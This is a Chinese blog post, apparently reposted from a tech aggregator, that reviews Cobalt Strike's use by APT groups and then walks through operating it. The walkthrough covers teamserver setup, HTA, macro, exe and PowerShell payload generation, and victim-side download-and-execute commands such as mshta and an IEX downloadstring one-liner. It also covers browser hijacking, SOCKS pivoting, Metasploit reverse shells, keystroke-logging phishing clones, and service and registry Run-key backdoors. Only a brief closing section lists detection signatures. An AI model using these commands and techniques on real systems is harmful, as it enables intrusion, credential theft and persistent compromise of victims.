当前位置:网站首页>APT组织最喜欢的工具 Cobalt Strike (CS) 实战
APT组织最喜欢的工具 Cobalt Strike (CS) 实战
2022-08-03 13:40:00 【wespten】
一、Cobalt Strike 背景
Cobalt Strike 在威胁攻击者的恶意活动中的使用次数正在增加。从 2019 年到 2020 年,使用Cobalt Strike 的威胁攻击者增加了 161%,Cobalt Strike负载相关的钓鱼邮件数量仍逐年上升。
除了APT组织和间谍攻击者,目前Cobalt Strike 也被很多网络犯罪和恶意软件运营者使用。
当映射到 MITRE ATT&CK 框架时,Proofpoint公司的分析人员更关注,此工具在攻击链的初始访问、命令执行和持久驻留等阶段所起的作用。也就是说:威胁攻击者如何试图破坏主机以及他们首先部署哪些有效载荷?根据Proofpoint的数据评估,攻击者中越来越喜欢将Cobalt Strike作为初始访问有效载荷,而不仅仅是现访问后,作为第二阶段的远控工具使用。
2020 年 12 月,全世界都知道了一场广泛而有效的间谍活动,该活动成功地为流行的网络监控软件 SolarWinds 设置了后门程序。据调查人员透露,攻击者使用的工具包括 Cobalt Strike Beacon。这项备受瞩目的活动是智能攻击链的一部分,使高级威胁攻击者能够暗中破坏相对较少数量的受害者。根据他们的需求进行定制的工具已有近十年的历史,但近年来越来越受欢迎。
Cobalt Strike 于 2012 年首次亮相,以应对现有红队工具 Metasploit 框架中的漏洞。2015 年,Cobalt Strike 3.0 作为独立的对手仿真平台推出。到 2016 年,Proofpoint 研究人员攻击者中越来越喜欢将Cobalt Strike作为初始访问有效载荷,而不仅仅是现访问后,作为第二阶段的远控工具使用。
Cobalt Strike 被各种威胁攻击者使用,虽然网络犯罪分子和 APT 组织在其活动中利用类似的工具并不罕见,但 Cobalt Strike 的独特之处在于其内置功能使其能够快速部署和操作,无论攻击者的复杂程度或获得人力或财务资源的机会如何。当双方使用相同的工具时,模拟攻击者攻击和穿透防御的工作可能会变得更加简单。
Cobalt Strike 也是基于会话的——也就是说,如果威胁攻击者可以访问主机并在不需建立持久性的情况下完成操作,当计算机关机后,后门不会在受害者计算机留存,增加了攻击发现、溯源取证的难度。
威胁攻击者还可以利用 Cobalt Strike 的延展性来创建自定义构建,添加或删除功能以实现目标或逃避检测。例如,APT29 经常使用定制的 Cobalt Strike Beacon 加载器来融入合法流量或逃避分析。
二、APT组织
TA800
TA800是一个大型网络犯罪团伙,自2019年年中开始被Proofpoint跟踪。这个攻击者试图交付和安装银行恶意软件或恶意软件加载程序,包括The Trick和BazaLoader。2020年4月,TA800成为第一个被观察到分发BazaLoader的组织。在这些早期的活动中,威胁者分发带有指向可执行文件的恶意链接的电子邮件,或者带有指向可执行文件链接的谷歌Docs上的登陆页面。可执行文件下载了BazaLoader后门程序,然后该后门程序又下载了Cobalt Strike。2021年2月,该组织转向通过恶意url将Cobalt Strike作为第一阶段有效载荷分发。有一些证据表明 TA800 的 NimzaLoader 被用于下载和执行 Cobalt Strike 作为其辅助负载。
TA547
TA547 是 Proofpoint 自 2017 年 10 月以来追踪的威胁攻击者。该组织似乎主要向不同地理区域分发银行木马(包括 The Trick 和 ZLoader)。自 2020 年年中以来,该攻击者倾向于使用恶意的 Microsoft Office 附件来分发恶意软件。2021 年 2 月,TA547 开始分发 Cobalt Strike 作为第二阶段有效载荷,用于命令和控制。
APT攻击链条
Proofpoint已经观察到数十名使用Cobalt Strike的威胁者。然而,和它们的合法对手一样,威胁攻击者展示了许多恶意攻击者模拟软件的攻击路径和用例。威胁行动者使用不同的诱饵主题、威胁类型、投放器和有效载荷。例如,最早的Cobalt Strike活动使用恶意文档附件分发电子邮件威胁,以传播恶意软件,但直接在电子邮件正文中分发恶意url的活动已经取代附件,成为使用频率更高的威胁类型。
尽管直接作为初始有效载荷发送的Cobalt Strike的实例显著增加,但作为第二阶段有效载荷的部署仍然很受欢迎。Cobalt Strike被观察到与恶意软件如The Trick、BazaLoader、Ursnif、IcedID以及许多更流行的加载程序一起出现在各种攻击链中。在这些情况下,上述恶意软件通常会加载并执行Cobalt Strike。同样,在直接交付Cobalt Strike的情况下,也有很多技术被利用,比如通过武器化的Office文档、压缩可执行文件、PowerShell、动态数据交换(DDE)、HTA/HTML文件和流量分配系统中的恶意宏。
在执行 Cobalt Strike 并为 C2 通信建立 Beacon 后,观察到攻击者尝试枚举网络连接并转储 Active Directory 凭据,因为他们试图横向移动到域控制器等网络资源,从而允许部署勒索软件到所有联网系统。例如,Cobalt Strike 文档指出:
使用 net dclist 命令查找目标加入域的域控制器。使用 net view 命令在目标加入的域上查找目标。
除了网络发现和凭证转储之外,Cobalt Strike Beacon 还具有提权、加载和执行其他工具的能力,并将这些功能注入现有运行的主机进程中以试图避免检测。
根据内部数据观察到的活动,数以万计的APT组织已经成为 Cobalt Strike 的目标,预计这个数字会继续增加。
三、Cobalt Strike简介与安装
Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具,自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,常被业界人称为CS神器。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
Cobalt Strike 作为一款协同APT工具,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透作为APT的控制终端功能,使其变成众多APT组织的首选。
一般Cobalt Strike目录结构如下:
agscript 拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
license.pdf 许可证文件
logs 目录记录与目标主机的相关信息
update,update.jar用于更新CS
third-party 第三方工具
安装运行
Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。服务器端只能运行在Linux系统中,可搭建在VPS上。
服务端关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行即可。
团队服务器
团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行:
chmod +x teamserver
./teamserver IP 密码
# 服务端真实IP(不能使用0.0.0.0或127.0.0.1)和连接密码
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间
# 启动Team Server
./teamserver 192.168.183.147 123456 # 设置强密码,否则容易被爆破,参考附录
PS:团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件。
客户端
客户端在Windows、Linux、Mac下都可以运行 (需要配置好Java环境)。启动Cobalt Strike客户端,输入服务端的IP以及端口、连接密码,用户名可以任意设置。
这里windows需要java 8jdk,Linux需要10jdk、mac一样,这里可以网上找安装包,没有的找我。
Linux:
./cobaltstrike
Or
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:双击cobaltstrike.exe
输入服务端IP,端口默认50050,用户名任意,密码为之前设置的密码(123456),点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上。
在控制台所有操作指令都会被记录保留在Cobalt Strike目录logs下…
四、Cobalt Strike参数与使用
Cobalt Strike
New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close # 退出连接
View
Applications # 显示受害主机的应用信息
Credentials # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads # 查看已下载文件
Event Log # 主机上线记录以及团队协作聊天记录
Keystrokes # 查看键盘记录结果
Proxy Pivots # 查看代理模块
Screenshots # 查看所有屏幕截图
Script Console # 加载第三方脚本以增强功能
Targets # 显示所有受害主机
Web Log # 所有Web服务的日志
可以加载各种脚本,增强功能:
Attacks
HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
USB/CD AutoPlay # 生成利用自动播放运行的木马文件
Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马
Web Drive-by
Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish # 鱼叉钓鱼邮件
Reporting
Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data # 重置数据
Export Data # 导出数据,导出.tsv文件格式
Help
Homepage # 官方主页
Support # 技术支持
Arsenal # 开发者
System information # 版本信息
About # 关于
工具栏
1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
基本流程
创建监听器
点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener:
indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
其中windows/beacon为内置监听器,有dns、http、https、smb四种方式的监听,windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。
Name任意,选择所需的payload,Host为本机IP,port为没有被占用的任意端口。
点击save即创建成功:
生成木马
这里选择其中一种攻击方式作示范,后面再做详细解释:
点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。
开启web服务
点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接
运行木马
打开被攻击机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。
mshta http://192.168.183.147/download/file.ext
返回CS即可看到肉鸡上线。
选中被攻击机右击,选择interact,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。
导出报告
点击Reporting->Activity Report,导出默认PDF文档。
Beacon
当受害机上线以后,右击选择Interact,就可以打开Beacon Console。
在beacon处输入help可以看到命令说明:
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu 在另一个PID下执行程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
可用help+命令的方式查看具体命令参数说明:
beacon> help argue
Use: argue [command] [fake arguments]
argue [command]
argue
Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
Use argue [command] to disable this feature for the specified command.
Use argue by itself to list programs with defined spoofed arguments.
之前说过CS与受害机默认60s进行一次交互,为了方便实验我们可以把时间设置为0。
beacon>sleep 0
下面我就介绍一下几个常用的命令
browserpivot
Browser Pivot是一个针对IE浏览器的技术,利用的是IE的cookie机制,Cobalt Strike通过IE注入进程以继承用户的已验证Web会话,达到无需验证登录用户访问的网站。
假设受害者在通过IE浏览器登录了网站后台。
我们可以通过ps找到浏览器进程,然后通过命令进行注入:
beacon> browserpivot 2600 x86
这里之所以选择PID 2600是因为我们需要插入Internet Explorer以继承用户的已验证Web会话。IE的新版本会为每个选项卡生成一个进程,我们必须将其插入子选项卡以继承会话状态。通常,子选项卡共享所有会话状态。通过查看PPID值来标识IE子选项卡进程,当PPID引用explorer.exe时,该进程不是子选项卡;当PPID引用iexplore.exe时,该进程就是子选项卡。
当然这里也可以通过图形界面注入,右击选中Explore->Browser Pivot:
然后浏览器设置代理:
后访问受害者所访问的网页,发现无需登录直接进入后台。
Socks代理
开启socks4a代理,通过代理进行内网渗透。
开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server:
beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes
然后vim /etc/proxychains.conf
,在文件末尾添加socks4代理服务器:
使用proxychains代理扫描内网主机:
proxychains nmap -sP 192.168.183.0/24
我们还可以通过隧道将整个msf带进目标内网。
点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:
setg Proxies socks4:192.168.183.147:2222
打开msf对内网进行扫描:
关闭socks:
beacon>socks stop
powershell-import
这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,如Nishang、PowerSploit攻击框架。
在beacon shell输入powershell-import,导入已有的ps文件:
beacon> powershell-import
关于具体有哪些命令可以操作可以查看一下相应ps文件。
与Metasploit联动
msf开启监听模式:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j
创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)。
利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose。
返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知)。
Metasploit→ Cobalt Strike
当然这里也可以通过用msfvenom生成木马,再由CS发布。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.183.147 lport=4444 -f exe -o msf.exe
此时再次查看msf发现获取到会话。
至于后面怎么提权可以参考meterpreter使用教程
钓鱼攻击
点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入:
然后在肉鸡上访问攻击机IP,访问克隆的网页:
当受害者输入了用户名密码,CS在日志里会有记录:
我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。
为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面,点击 Attacks->Web Driver-by->System Profiler:
当我们访问192.168.183.147:81时会自动跳转到登录页面。在选择克隆站点时,点击attack右边的…选择我们创建端口为81的profiler:
当我们我们访问80端口点击确认后会跳转到正确的登录界面。
宏钓鱼
点击Attacks->Packages->MS Office Macro,选择相应的监听器,点击Generate:
上图告诉我们操作步骤,先打开Word或Excel,转到视图->宏->查看宏,创建一个宏名随意的宏,将复制的宏代码粘贴进去,关闭宏窗口,另存为启用宏的文档。
点击Copy Macro复制宏代码,选择 Project->Microsoft Word对象->ThisDocument粘贴宏代码,关闭并另存为。
当你打开启用宏的文档,CS便会接收到返回的会话。
shellcode
CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator。
这里以powershell为例:
将生成的payload.ps1复制到目标系统并执行以下命令,返回CS查看得到返回的会话。
powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"
提权
elevate提权
Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。
uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。
我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit,点击Cobalt Strike->Script Manager来导入cna文件:
选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权。
权限维持
点击Attacks->web driver-by ->script web delivery:
点击launch生成如下命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"
在目标设备执行以上命令会拿到普通用户的权限,这里需要提权。
打开beacon shell并执行命令:
查看受害机器服务,发现名为name的服务项创建成功。
不过此时该服务启动类型为手动,我们需要将其设置为自动:
shell sc config "name" start= auto
设置服务的描述字符串:
shell sc description "name" "description"
这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。
注册表后门
点击Attacks->packages->windows executable生成一个exe木马并上传到目标机器。
上传可以通过Explore>File Browser:
当然这里也可以选择将exe设置为服务后门,方法同上:
shell sc create "exe" binpath= "C:\Users\abc\Desktop\artifact.exe"
下面我们来演示一下如何设置注册表后门:
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\abc\Desktop\artifact.exe" /f
这样一个注册表自启动后门已经设置成功了。
额外补充:
爆破cobalt strike密码脚本:
https://github.com/ryanohoro/csbruter
五、Cobalt Strike 模拟实战
简单的一次控制
环境:
kali:192.168.175.147
win7:192.168.175.145
开启个监听:
点击add创建即可:
选择生成后门-创建win.exe-payload:
创建好后:
选择一个钓鱼链接:
复制该链接到需要控制的靶机上下载即可:
下载好后,直接双击:
可看到已经成功获得对方的shell,成功控制对方电脑…
Access
Dump Hashes #获取hash
Elevate #提权
Golden Ticket #生成黄金票据注入当前会话
Make token #凭证转换
Run Mimikatz #运行 Mimikatz
Spawn As #用其他用户生成Cobalt Strike侦听器
Explore
Browser Pivot #劫持目标浏览器进程
Desktop(VNC) #桌面交互
File Browser #文件浏览器
Net View #命令Net View
Port Scan #端口扫描
Process List #进程列表
Screenshot #截图
Pivoting
SOCKS Server #代理服务
Listener #反向端口转发
Deploy VPN #部署VPN
Spawn
外部监听器(如指派给MSF,获取meterpreter权限)
Session
Note #备注
Remove #删除
Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率不宜过快,容易被发现。
Exit #退出
Interact(打开beacon)
beacon> help
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透
基础操作演示
右键目标interact来使用Beacon,用它来执行各种命令。在Cobalt Strike中,默认心跳为60s,执行命令的响应很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。
在beacon中,如果想对目标进行命令管理,需要在前面加上shell,如shell whoami、shell ipconfig等。
六、Cobalt Strike 流量检测与防御
Proofpoint 数据显示 Cobalt Strike 是一种流行的工具,适用于从战略威胁到广泛的APT活动。
Cobalt Strike 对于合法的安全研究人员和威胁行为者来说都是一个有用的工具。它的延展性和可用性使其成为一个强大而有效的工具,用于窃取数据、横向移动和加载额外的恶意软件负载。
Cobalt Strike 并不是 Proofpoint 数据中出现频率较高的唯一红队工具。其他还包括 Mythic、Meterpreter 和 Veil 框架。
对于防御者来说,定制的 Cobalt Strike 模块通常需要独特的签名,因此威胁检测工程师可能需要检测 Cobalt Strike在野外的使用 。Cobalt Strike 也因其固有的模糊性而吸引了威胁行为者。如果所有人都使用相同的工具,归因会变得更加困难。如果一个组织有一个积极使用它的红队,则恶意流量可能会被误认为是合法的。该软件的易用性可以提高不太复杂的攻击者的能力。对于经验丰富的攻击者来说,既然已经有了一个很棒的工具,为什么还要把开发周期花在新东西上呢?
一个更广泛的趋势:威胁攻击者正在使用尽可能多的合法工具,包括执行 Windows 进程,如 PowerShell 和 WMI;将恶意代码注入合法的二进制文件中;并经常利用合法的云服务(例如 Dropbox、Google Drive、SendGrid 和 Constant Contact)来托管和分发恶意软件。
proofpoint 给出了一些Cobalt Strike 的流量检测规则:
2028591 ET TROJAN Cobalt Strike Malleable C2 Request YouTube Profile
2028589 ET TROJAN Cobalt Strike Malleable C2 Response O365 Profile M2
2032749 ET TROJAN Cobalt Strike Malleable C2 Amazon Profile
2032746 ET TROJAN Cobalt Strike Malleable C2 QiHoo Profile
2027082 ET TROJAN Observed Malicious SSL Cert CobaltStrike C2
2023629 ET INFO Suspicious Empty SSL Certificate - Observed in Cobalt Strike
2032362 ET TROJAN Cobalt Strike Beacon Activity
2032951 ET TROJAN Observed Cobalt Strike User-Agent
详情请参考 proofpoint 官网:
Cobalt Strike: Favorite Tool from APT to Crimeware | Proofpoint US
边栏推荐
- [OpenCV] Book view correction + advertising screen switching Perspective transformation image processing
- 使用百度EasyDL实现施工人员安全装备检测
- ITSM软件与工单系统的区别是什么?
- PyTorch构建神经网络预测气温(数据集对比,CPU与GPU对比)
- An introduction to the pen tool, pencil tool and brush tool
- 致一位湖南女孩
- 【OpenCV】 书本视图矫正 + 广告屏幕切换 透视变换图像处理
- Golang 字符串
- Nanoprobes FluoroNanogold 偶联物的特色和应用
- 第07章 InnoDB数据存储结构【2.索引及调优篇】【MySQL高级】
猜你喜欢
随机推荐
《深度学习》-学习笔记-1-机器学习基础
[OpenCV] Book view correction + advertising screen switching Perspective transformation image processing
An introduction to the pen tool, pencil tool and brush tool
Golang structs & methods
【web渗透】CSRF漏洞详细讲解
js单线程及事件循环、宏任务和微任务
致一位湖南女孩
Nanoprobes Ni-NTA-Nanogold——用于 His 标签标记和检测
Zhang Le: The Golden Triangle of R&D Efficiency and Practice in the Field of Demand and Agile Collaboration|Live Review
tinymce 如何实现动态国际化
An introduction to the width tool, deformation tool and lasso tool
一文详解什么是软件部署
函数在结构体中的应用练习
The maximum number of sliding window
数据分析(二)——numpy
OpenHarmony高校技术俱乐部计划发布
工作流自动化,低代码是解决关键
国产替代风潮下,电子元器件B2B商城系统如何助力企业突围市场竞争
农产品企业如何进行全网营销?
超大规模的产业实用语义分割数据集PSSL与预训练模型开源啦!